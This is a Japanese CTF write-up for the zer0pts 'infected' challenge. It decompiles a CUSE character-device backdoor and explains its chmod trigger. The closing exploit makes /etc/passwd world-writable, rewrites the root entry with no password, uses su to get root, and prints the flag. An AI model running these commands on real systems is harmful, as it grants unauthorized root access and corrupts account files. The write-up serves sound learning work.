チーム KogCoder として参加し、203pts獲得し176位でした
去年の大会からの難易度上昇の具合がヤバかったです
Welcomeとアンケートを除いて唯一解けた問題であるinfectedのWriteupを残しておきます
The backdoor is installed on this machine:
nc others.ctf.zer0pts.com 11011
ornc any.ctf.zer0pts.com 11011
How can I use it to get the flag in /root directory?
backdoor
という実行ファイルが渡されます
また、問題文で示されているサーバーに繋いでみるとシェルが立ち上がります
問題文曰く/root
以下のflagを読めば良いらしいのですが、標準ではPID1000のユーザーとして繋がっていたのでなんとか特権昇格する必要があります
この環境にはバックドアがインストールされていると問題文で言っていたので、配布されたファイルを解析してバックドアの起爆方法を調べます
backdoor
のmain関数は以下のようになっています
void main(int argc,char **argv)
{
register_backdoor(argc,argv);
return;
}
中身が虚無ですね
register_backdoor
を読みましょう
void register_backdoor(int argc,char **argv)
{
long in_FS_OFFSET;
undefined local_38 [8];
undefined4 local_30;
char **dev_info_argv;
undefined4 local_20;
char *local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_18 = "DEVNAME=backdoor";
memset(local_38,0,0x20);
local_30 = 1;
dev_info_argv = &local_18;
local_20 = 1;
cuse_lowlevel_main(argc,argv,local_38,devops,0);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
cuse_lowlevel_main
というのはfuseの内部で使われているキャラクタデバイスを作成するための関数みたいです
この関数の第3引数がcuse_lowlevel_ops
という構造体なのですが、この中身は各操作を行う際に実際の処理を行う関数へのポインタになっています。
struct cuse_lowlevel_ops {
void (*init) (void *userdata, struct fuse_conn_info *conn);
void (*init_done) (void *userdata);
void (*destroy) (void *userdata);
void (*open) (fuse_req_t req, struct fuse_file_info *fi);
void (*read) (fuse_req_t req, size_t size, off_t off,
struct fuse_file_info *fi);
void (*write) (fuse_req_t req, const char *buf, size_t size, off_t off,
struct fuse_file_info *fi);
void (*flush) (fuse_req_t req, struct fuse_file_info *fi);
void (*release) (fuse_req_t req, struct fuse_file_info *fi);
void (*fsync) (fuse_req_t req, int datasync, struct fuse_file_info *fi);
void (*ioctl) (fuse_req_t req, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags,
const void *in_buf, size_t in_bufsz, size_t out_bufsz);
void (*poll) (fuse_req_t req, struct fuse_file_info *fi,
struct fuse_pollhandle *ph);
};
そして、backdoor
で使われていたcuse_lowlevel_ops
がこちらです
//
// .data.rel.ro
// SHT_PROGBITS [0x201d00 - 0x201d57]
// ram:00301d00-ram:00301d57
//
devops XREF[2]: register_backdoor:00100d1d(*),
_elfSectionHeaders::00000550(*)
00301d00 00 00 00 addr[11]
00 00 00
00 00 00
00301d00 00 00 00 00 00 addr 00000000 [0] XREF[2]: register_backdoor:00100d1d(*),
00 00 00 _elfSectionHeaders::00000550(*)
00301d08 00 00 00 00 00 addr 00000000 [1]
00 00 00
00301d10 00 00 00 00 00 addr 00000000 [2]
00 00 00
00301d18 9a 0a 10 00 00 addr backdoor_open [3]
00 00 00
00301d20 00 00 00 00 00 addr 00000000 [4]
00 00 00
00301d28 c0 0a 10 00 00 addr backdoor_write [5]
00 00 00
00301d30 00 00 00 00 00 addr 00000000 [6]
00 00 00
00301d38 00 00 00 00 00 addr 00000000 [7]
00 00 00
00301d40 00 00 00 00 00 addr 00000000 [8]
00 00 00
00301d48 00 00 00 00 00 addr 00000000 [9]
00 00 00
00301d50 00 00 00 00 00 addr 00000000 [10]
00 00 00
backdoor_open
とbackdoor_write
が登録されていますね
また、キャラクタデバイスは実際に手元で起動してみると/dev/backdoor
に作成されていることが分かります
つまり、/dev/backdoor
に何かを書き込むとバックドアが発火できそうです
では、何を書き込むべきなのかを探るためにbackdoor_write
を読みます
void backdoor_write(undefined8 req,char *buf,size_t size,undefined8 off)
{
int iVar1;
__mode_t __mode;
char *__s;
char *__s1;
char *__file;
char *__nptr;
long in_FS_OFFSET;
stat64 local_a8;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__s = strndup(buf,size);
if (__s == (char *)0x0) {
fuse_reply_err(req,0x16);
goto LAB_00100c8c;
}
__s1 = strtok(__s,":");
__file = strtok((char *)0x0,":");
__nptr = strtok((char *)0x0,":");
if (((__s1 == (char *)0x0) || (__file == (char *)0x0)) || (__nptr == (char *)0x0)) {
fuse_reply_err(req,0x16);
}
else {
iVar1 = strncmp(__s1,"b4ckd00r",8);
if (iVar1 == 0) {
stat64(__file,&local_a8);
if ((local_a8.st_mode & 0xf000) == 0x8000) {
__mode = atoi(__nptr);
iVar1 = chmod(__file,__mode);
if (iVar1 == 0) {
fuse_reply_write(req,size,size);
goto LAB_00100c7d;
}
}
fuse_reply_err(req,0x16);
}
else {
fuse_reply_err(req,0x16);
}
}
LAB_00100c7d:
free(__s);
LAB_00100c8c:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
/dev/backdoor
にb4ckd00r:ファイルパス:パーミション
の順で書き込むことによって任意のファイルのパーミションを変更できそうです
これを使うことで、/etc/passwd
のrootパスワードを消去してsu
で特権昇格を図れます
あとは/root
にあるflag-b40d08b2f732b94d5ba34730c052d7e3.txt
を読むだけです
exploitがこちら
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo root::0:0:root:/root:/bin/sh > /etc/passwd
su
ls /root
cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}